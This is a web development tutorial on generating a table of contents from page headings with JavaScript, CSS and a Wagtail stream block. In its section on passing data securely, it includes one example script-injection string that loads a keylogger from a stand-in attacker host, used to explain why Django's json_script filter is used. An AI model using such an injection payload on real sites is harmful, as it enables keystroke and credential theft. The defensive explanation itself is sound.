Use JavaScript to Add a Dynamic Table of Contents to Your Pages

Introduction

Creating a table of contents or menu based on content is time-consuming for editors and prone to errors. You may need such a feature on your data-fed pages and not even have the ability to create and link to content on the page.

Here, I create an automated, on-the-fly table of contents without the need for hard-coded anchor links, regardless of the source of your content. It's easily adaptable to be turned into a nav bar or similar menu, though for nested menus, it would require a fair bit more logic to determine level and parent etc.. Similarly, this technique could be used to produce a summary with links on an API data feed page for rapid data analysis and drill-down capability.

This example creates a structured table of information based on the presence of heading tags, much like MS Word. The ultimate result is the table displayed above, where you can inspect the rendered HTML using the Inspect tool.

Where there are existing id attributes on the heading tags, those are used, otherwise they're generated using the slugified heading prefixed with an index number to ensure uniqueness on the page (important for structured documents where headings may be repeated).

The presumption is that heading tags are being used in a structured manner, with <h1> reserved for the page title (and therefore excluded from the table). Although the use of heading tags is largely ignored in SEO these days, Mozilla's developer guide has a useful reference on why using properly structured heading is a good idea.

CSS classes are added to each level, allowing you to customise the look fully in accordance with your own style guide.

Creating the Table of Contents

The tableOfContents function

This function takes four parameters, only one mandatory, the id of the container to write the contents to. Optionally, a scope to limit the table to (the page body is the default), the number of heading levels to include (from 1 for <h2> tags only up to 5 to include from <h2> to <h6> with 3 as default) and a title (if any) to display.

The output is a <nav> element with a flat list of headings linked to their anchor tags. The list uses role="tree" and aria-level to structure the list for screen readers. Visually, the structure is applied via css classes.

Inline comments below describe the process:

Copy
import { slugify } from "./slugify.js";

/**
 * Generates a Table of Contents (ToC) based on heading tags (H2 to H6) within a specified scope.
 *
 * @param {string} tocElement - The ID of the empty container element where the ToC will be created.
 * @param {string} [scope="body"] - A CSS selector for the element to limit the search for headings. Defaults to "body".
 * @param {number} [levels=3] - The number of heading levels to include in the ToC (1 to 5, starting with H2). Defaults to 3 (H2-H4).
 * @param {string|boolean} [tocTitle=false] - The title to display at the top of the ToC. If false, no title is displayed. Defaults to false.
 *
 * @returns {void}
 *
 * @example
 * // HTML structure:
 * // <div id="toc"></div>
 * // <div id="content">
 * //   <h2>Heading 1</h2>
 * //   <h3>Subheading 1.1</h3>
 * //   <h4>Subheading 1.1.1</h4>
 * // </div>
 *
 * // JavaScript:
 * tableOfContents("toc", "#content", 3, "Table of Contents");
 *
 * // Result:
 * // A ToC is generated inside the element with ID "toc", listing headings H2-H4 within the element with ID "content".
 * // The ToC will include a title "Table of Contents" at the top.
 * // The list is structured as a flat list using role 'tree' and aria-level attributes for screen readers.
 * // If an anchor target is present in the URL, the page will scroll to that heading.
 * // If no headings are found, no ToC is generated.
 */
export const tableOfContents = (tocElement, scope = "body", levels = 3, tocTitle = false) => {
    const toc = document.getElementById(tocElement);
    const scopeElement = document.querySelector(scope);

    // find target DIV element to write ToC to, only accept DIV as valid element type, return on error
    if (!toc || toc.tagName !== "DIV") {
        console.error(
            `ToC: Missing or invalid target element with id=${tocElement}`
        );
        return;
    }

    // find tag name matching scope, return if not found
    if (!scopeElement) {
        console.error(
            `ToC: Missing element with id=${scope} or valid element tag name`
        );
        return;
    }

    // determine which heading tags to search by slicing list 'levels' deep
    const tags = ["H2", "H3", "H4", "H5", "H6"].slice(0, levels);

    // find the relevant heading tags contained within the scopeElement element
    const headings = Array.from(scopeElement.querySelectorAll(tags.join(", ")));

    // create ToC only if headings found
    if (headings.length === 0) {
        return;
    }

    // add ToC title if supplied
    if (tocTitle) {
        const title = document.createElement("H2");
        title.innerText = tocTitle;
        title.classList.add("toc", "toc-title");
        toc.appendChild(title);
    }

    // nest ToC inside nav element 
    const nav = document.createElement("NAV");
    const list = document.createElement("UL");
    list.classList.add("toc", "toc-list");
    list.setAttribute("role", "tree");

    // add ToC list to nav, add css classes
    // loop through headings in order of position on page
    headings.forEach((heading, index) => {
        // determine nesting level (h2->1, h3->2 etc)
        const level = Number(heading.nodeName[1]) - 1;
        heading.id = generateAnchorTarget(heading);

        // create element to hold link, add css including level specific css class
        const contentsItem = document.createElement("LI");
        contentsItem.classList.add(`toc`, `toc-item-l${level}`);
        contentsItem.setAttribute("role", "treeitem");
        contentsItem.setAttribute("aria-level", level);

        // create link to point to ID of heading
        const link = document.createElement("A");
        link.textContent = heading.innerText;
        link.href = `#${heading.id}`;

        // add permalink to heading
        const permaLink = document.createElement("A");
        permaLink.className = "toc-link";
        permaLink.href = `#${heading.id}`;
        permaLink.innerHTML = heading.innerHTML;
        heading.innerHTML = "";
        heading.appendChild(permaLink);

        contentsItem.appendChild(link);
        list.appendChild(contentsItem);
    });

    // add nav & list to DOM
    nav.appendChild(list);
    toc.appendChild(nav);

    // If anchor target is present in URL, scroll to it
    // This is useful if the page is loaded before the ToC is created
    const hash = window.location.hash.slice(1);

    if (hash) {
        // Find element with matching id
        const target = document.getElementById(hash);
        if (target) {
            // Scroll to the element
            target.scrollIntoView({ behavior: 'smooth' });
        }
    }
};

This will output a table of contents title if any and a <nav> element with the heading titles and links.

The <nav> element

The <nav> element represents a section of a page that links to other pages or to parts within the page: a section with navigation links. (html.spec)

Ensuring Unique Slugs

In the tableOfContents function above, we call the following method to generate the slug:

generateAnchorTarget
Copy
/**
 * Generates a unique anchor target for a given HTML element.
 * If the element does not have an `id`, it creates a slug from the element's inner text
 * and ensures uniqueness by appending a count if necessary.
 * If the element already has an `id`, it simply returns the existing `id`.
 *
 * @param {HTMLElement} element - The HTML element to generate an anchor target for.
 * @returns {string} The existing or generated unique anchor target.
 */
export const generateAnchorTarget = (element) => {
    if (!element.id) {
        const slug = slugify(element.innerText);
        const slugCount = Array.from(
            document.querySelectorAll(`[id="${slug}"], [id^="${slug}-"]`)
        ).filter(el => {
            return el.id === slug || new RegExp(`^${slug}-\\d+$`).test(el.id);
        }).length;
        return (slugCount === 0) ? slug : `${slug}-${slugCount}`;
    } else {
        return element.id;
    }
}

We're using a slugify function to convert the inner text of the heading (see below) then check that this anchor target (id) doesn't already exist on the page. If it does, a counter is appended to the slug to ensure it stays unique. If multiple tags match slug or slug-n then the counter will increment accordingly.

Without ensuring uniqueness, the link will just go to the first instance of that slug.

Explanation for Slugifying the Headings

To create the on-the-fly IDs for the headings, the function relies on a 'slugify' function to convert the text into a useable ID:

Copy
const slug = slugify(element.innerText);

The following function can be used to do the slugifying:

Copy
const INVALID_CHARS_REGEX = /[^a-z0-9 -]/g;
const WHITESPACE_REGEX = /\s+/g;
const MULTI_DASH_REGEX = /-+/g;

const DIACRITICS_REGEX = /[\u0300-\u036f]/g;
const specialCharsMap = {
    'ß': 'ss',
    'Æ': 'AE',
    'æ': 'ae',
    'Œ': 'OE',
    'œ': 'oe',
    'ø': 'o',
    'Ø': 'O'
};

const specialCharsRegex = new RegExp(
    `[${Object.keys(specialCharsMap).join('')}]`,
    'g'
);

const convertExtendedAscii = (str) => {
    // replace any extended-latin characters with standard ASCII letters
    // any non-matching letters are dropped from the returned string
    return str
        .replace(specialCharsRegex, ch => specialCharsMap[ch] || '')
        .normalize("NFD")
        .replace(DIACRITICS_REGEX, ""); // remove diacritics;
};

/**
 * Converts a given string into a URL-friendly "slug".
 * 
 * The function performs the following transformations:
 * 1. Removes leading and trailing whitespace.
 * 2. Replaces extended Latin characters with standard ASCII letters.
 * 3. Converts the string to lowercase.
 * 4. Removes invalid characters (anything other than letters, numbers, spaces, and dashes).
 * 5. Replaces spaces with dashes.
 * 6. Collapses multiple consecutive dashes into a single dash.
 * 
 * @param {string} str - The input string to be slugified.
 * @returns {string} - The slugified version of the input string.
 */
export const slugify = (str) => 
    convertExtendedAscii(str.trim())
        .toLowerCase()
        .replace(INVALID_CHARS_REGEX, '')
        .replace(WHITESPACE_REGEX, '-')
        .replace(MULTI_DASH_REGEX, '-');

If you're not using extended characters in your headings, you can drop convertExtendedAscii for better performance.

Adding CSS Styling

The rendered HTML includes several CSS classes to style the output with:

  • toc: applies to the whole table
  • toc-title: formatting for the title (if any)
  • toc-list: applies to the area below the title containing all the list items
  • toc-item-l1 - toc-item-l5: use these to style individual levels such as indents etc.
  • toc-link: applied to headings appearing in the table of contents, add the permalink and displays a link icon on hover

Below is a sample CSS definition for the table:

toc.css
Copy
.toc {
  font-family: var(--font-family-headings);
  text-align: left;
}
.toc a {
  text-decoration: none;
}
.toc-title {
  font-family: var(--font-family-headings);
  font-size: var(--font-size-2);
  margin-bottom: 0;
}
.toc-list {
  padding-bottom: 1rem;
  padding-left: 10px;
  list-style: none;
}
.toc-item-l1 {
  font-size: clamp( 1.35rem, 1.3232rem + 0.1127vw, 1.45rem );
  text-indent: 0rem;
  margin-bottom: 0;
}
.toc-item-l2::marker {
  content: '• ';
}
.toc-item-l2 {
  font-size: clamp( 1.25rem, 1.2232rem + 0.1127vw, 1.35rem );
  margin-left: 1.8rem;
  margin-bottom: 0;
}
.toc-item-l3::marker {
  content: '◦ ';
}
.toc-item-l3 {
  font-size: clamp( 1.15rem, 1.1099rem + 0.169vw, 1.3rem );
  margin-left: 3rem;
  margin-bottom: 0;
  padding-top: 0.15rem;
}
.toc-item-l4::marker {
  content: '▪ ';
}
.toc-item-l4 {
  font-size: clamp( 1.05rem, 1.0099rem + 0.169vw, 1.2rem );
  margin-left: 4.1rem;
  margin-bottom: 0;
  padding-top: 0.125rem;
}
.toc-item-l5::marker {
  content: '− ';
}
.toc-item-l5 {
  font-size: clamp( 1rem, 0.9732rem + 0.1127vw, 1.1rem );
  margin-left: 5.1rem;
  margin-bottom: 0;
  padding-top: 0.1rem;
}
.toc-link {
  text-decoration: none;
  color: inherit;
}
.toc-link::after {
  display: inline-flex;
  content: '';
  background-image: url("/static/svg/link-solid.svg"); /* (replace image with one for your own site) */
  opacity: 0;
  transition: opacity 0.3s ease;
  pointer-events: none;
  height: 0.8em;
  width: 0.8em;
}
.toc-link:hover::after {
  opacity: 1;
}
  • Since I'm applying my own markers, the toc-list list-style is set to none to remove the default markers.
  • Each level decreases in font size by a scaled amount (for more on the clamp function, see this article) and has progressively increased left margin.
  • Each indented level is marked with a bullet point icon using a ::marker pseudo class with additional space afterwards. Mozilla & Safari do not support letter-spacing in ::marker pseudo elements (see this discussion for more details).
  • The underline style for hyperlinks is removed (.toc a {text-decoration: none;}) - personal preference, a list of underlined headings is a bit visually overwhelming.
  • A little extra padding-top is added to lower order items to maintain separation and ease-of-click, particularly on mobile devices.
  • Headings appearing in the ToC will have a permalink added in the code. The toc-link class removes the text decoration as per items in the table of contents, and have an ::after psuedo-element added with a link image and opacity 0 (meaning hidden) with a 300ms ease in. The opacity is set to 1 when combined with the hover state creating a fade in effect on mouse over. Hover over the heading below to see that in action.

Rendered HTML Example

For this page, the rendered HTML for the table of contents is:

Copy
<div id="autoToC">
  <h2 class="toc toc-title">Table of Contents</h2>
  <nav>
    <ul class="toc toc-list" role="tree">
      <li role="treeitem" aria-level="1" class="toc toc-item-l1"><a href="#1-introduction">Introduction</a></li>
      <li role="treeitem" aria-level="1" class="toc toc-item-l1"><a href="#2-creating-the-table-of-contents">Creating the Table of Contents</a></li>
      <li role="treeitem" aria-level="2" class="toc toc-item-l2"><a href="#3-the-listcontents-function">The listContents function</a></li>
      <li role="treeitem" aria-level="2" class="toc toc-item-l2"><a href="#4-explanation-for-slugifying-the-headings">Explanation for Slugifying the Headings</a></li>
      <li role="treeitem" aria-level="2" class="toc toc-item-l2"><a href="#5-adding-css-styling">Adding CSS Styling</a></li>
      <li role="treeitem" aria-level="2" class="toc toc-item-l2"><a href="#6-rendered-html-example">Rendered HTML Example</a></li>
      <li role="treeitem" aria-level="1" class="toc toc-item-l1"><a href="#7-implementing-the-table-of-contents">Implementing the Table of Contents</a></li>
      <li role="treeitem" aria-level="2" class="toc toc-item-l2"><a href="#8-deploying-as-a-stream-block-in-wagtail">Deploying as a Stream Block in Wagtail</a></li>
      <li role="treeitem" aria-level="2" class="toc toc-item-l2"><a href="#9-calling-the-listcontents-function">Calling the listContents function</a></li>
      <li role="treeitem" aria-level="2" class="toc toc-item-l2"><a href="#10-deploying-on-multi-language-sites">Deploying on multi-language sites</a></li>
      <li role="treeitem" aria-level="1" class="toc toc-item-l1"><a href="#11-conclusion">Conclusion</a></li>
    </ul>
  </nav>
</div>

Note the list structure is flat with semantic structure given by use roles tree/treeitem and giving the aria-level for each list item.

Implementing the Table of Contents in Wagtail

Deploying as a Stream Block

The example I use here is probably too flexible for use on most commercial sites where consistency across the site is required, but it's here for completeness.

Start off by defining the block:

blocks/toc.py
Copy
class TableOfContentsBlock(StructBlock):
    toc_title = CharBlock(
        max_length=60, 
        null=True, 
        blank=True,
        required=False,
        label=_("Title (optional)"),
        help_text=_("Optional title to display at the top of the table."),
    )
    
    levels = IntegerBlock(
        default = 3,
        min_value=1,
        max_value=5,
        label=_("Number of levels to include"),
        help_text=_("H1 tags are ignored. 1 level includes H2 only, 5 levels will include H2 to H6."),
    )

    class Meta:
        template = 'blocks/table_of_contents.html'
        icon = 'list-ul'
        label = 'Table of Contents'

The editor has the choice of defining a title to display and the number of levels to include (with 3 as default).

To take the choice away and keep consistency, use a StaticBlock rather than a StructBlock.

First, we need a wrapper function to call the tableOfContents function with the right parameters. We'll parse those parameters from values we set in the template next. If the document object is in interactive ready-state, we can call that immediately (threading it so that it doesn't block DOM loading), otherwise set it to run on DOMContentLoaded:

toc-block.js
Copy
import { tableOfContents } from "./toc.js";

export const tocBlock = () => {
    const tocElement = JSON.parse(document.getElementById("tocElement").textContent);
    const scopeElement = JSON.parse(document.getElementById("scopeElement").textContent);
    const levels = JSON.parse(document.getElementById("levels").textContent);
    const tocTitle = JSON.parse(document.getElementById("tocTitle").textContent);
    if (document.readyState === 'interactive') {
        queueMicrotask(() => tableOfContents(tocElement, scopeElement, levels, tocTitle));
    } else {
        document.addEventListener('DOMContentLoaded', () => {
            tableOfContents(tocElement, scopeElement, levels, tocTitle);
        });
    }
}

In the template, we add the container for the table of contents and set up the variables for tocBlock to read using Django's json_script filter.

templates/blocks/table_of_contents.html
Copy
{% load static %}
<div id="autoToC"></div>
{{ "autoToC"|json_script:"tocElement" }}
{{ "main"|json_script:"scopeElement" }}
{{ value.levels |json_script:"levels" }}
{{ value.toc_title|json_script:"tocTitle" }}
<script type="module">
    import { tocBlock } from "{% static 'js/toc-block.js' %}";
    tocBlock();
</script>

In this example, the scope parameter is "main" representing a <main>...</main> element containing all the dynamic content in the page's body. Change this to suit your page structure.

All the variables we need are rendered as JSON script elements ready to be used by the tocBlock() method.

Passing data to Javascript securely

Why convert the parameters to JSON and not just call the function with the block variables directly from the template?

It's just good practice to avoid leaving your site open to code injection. In short, if your title came in as the string:

Copy
"</script><script src='http://hack.me/keylogger.js'></script>"

The malicious script would actually get run instead of your toc.js code.

I wrote about this in more detail in this blog if you're interested in reading more.

Deploying on multi-language sites

Because the contents list is built off the currently displayed text, there's no further modification needed. The only translation needed will be the title if used.

For the example above, on a wagtail-localize site, the title is available for translation in the CMS just as any text block is.

Conclusion

This is a robust and quick way to add a consistent look and feel for creating tables of contents.

A quick refactoring of the heading loop would allow a nested nav bar approach, or any other formatting.

Take this approach a bit further with other tag types to implement a simple BI dashboard summarising content produced by an external data feed and even offer links to those summarised areas to allow readers to quickly jump to the relevant sections despite there being no anchors in the originating render.


  Please feel free to leave any questions or comments below, or send me a message here